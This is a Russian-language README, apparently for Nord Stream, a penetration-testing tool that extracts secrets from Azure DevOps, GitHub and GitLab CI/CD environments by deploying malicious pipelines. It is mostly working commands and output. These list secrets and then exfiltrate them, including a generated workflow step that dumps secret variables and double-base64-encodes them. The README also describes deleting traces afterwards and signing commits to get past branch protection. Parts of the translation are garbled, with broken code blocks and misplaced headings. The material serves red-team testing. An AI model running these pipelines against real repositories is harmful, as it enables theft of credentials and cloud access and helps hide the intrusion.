
Nord Stream — это инструмент, который позволяет извлекать секреты, хранящиеся в CI/CD-средах, путём развёртывания вредоносных пайплайнов. В настоящее время поддерживаются Azure DevOps, GitHub и GitLab.
Nord Stream — это инструмент, который позволяет извлекать секреты, хранящиеся в CI/CD-окружениях, путём развёртывания вредоносных пайплайнов.
В настоящее время поддерживаются Azure DevOps, GitHub и GitLab.
Подробнее в следующем посте в блоге: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
Также требуется `git` (см. https://git-scm.com/download/), и он должен находиться в вашем `PATH`.
## Использование
Вот простой пример на GitHub; изначально можно перечислить различные секреты.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
Затем переходите к эксфильтрации:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### Общие аргументы
Некоторые аргументы являются общими для [GitHub](#github), [Azure DevOps](#azure-devops) и [GitLab](#gitlab); вот несколько примеров.
#### Описание токена
Опция `--describe-token` может использоваться для отображения общей информации о вашем токене:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
Параметр --build-yaml можно использовать для создания файла конвейера без его развертывания. Он получает различные имена секретов для сборки соответствующего конвейера, который можно использовать для добавления пользовательских шагов:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
Опция `--yaml` может использоваться для развертывания пользовательского конвейера:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
[Загрузите] файл вместо отправки необработанных текстовых данных в POST-запросе.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml
[+] "synacktiv/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch
[] Running custom workflow: .../custom.yml
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Workflow output:
2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here"
2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here"
2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0137261Z ##[endgroup]
2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
По умолчанию отображается вывод задачи `command` из задания `init`, но всё хранится локально, и к нему можно получить доступ вручную:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
По умолчанию Nord Stream пытается удалить следы, оставшиеся после развёртывания конвейера, в зависимости от ваших привилегий. Чтобы сохранить следы, можно использовать опцию --no-clean. Это сохранит логи конвейера, но изменения, внесённые в репозиторий, всё равно будут откачены.
Обратите внимание, что для GitLab некоторые следы удалить невозможно.
Администраторы репозитория могут включить обязательную подпись коммитов для ветки, чтобы блокировать все коммиты, которые не подписаны и не проверены. С помощью Nord Stream можно подписать коммит, чтобы обойти такую защиту.
Сначала создайте и импортируйте свой GPG-ключ на платформе SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
### Паттерны файлов токенов```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
ВВОД:```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
### Azure DevOps
Nord Stream может извлекать следующие типы секретов:
- Группы переменных (vg)
- Защищённые файлы (sf)
- Подключения служб
#### Подключения служб
Azure DevOps предоставляет возможность создавать подключения к внешним и удалённым службам для выполнения задач в задании. Для этого используются подключения служб. Подключение службы хранит учётные данные для идентификации в удалённой службе. В Azure DevOps существует несколько типов подключений служб.
Nord Stream в настоящее время поддерживает извлечение секретов для следующих типов подключений служб:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH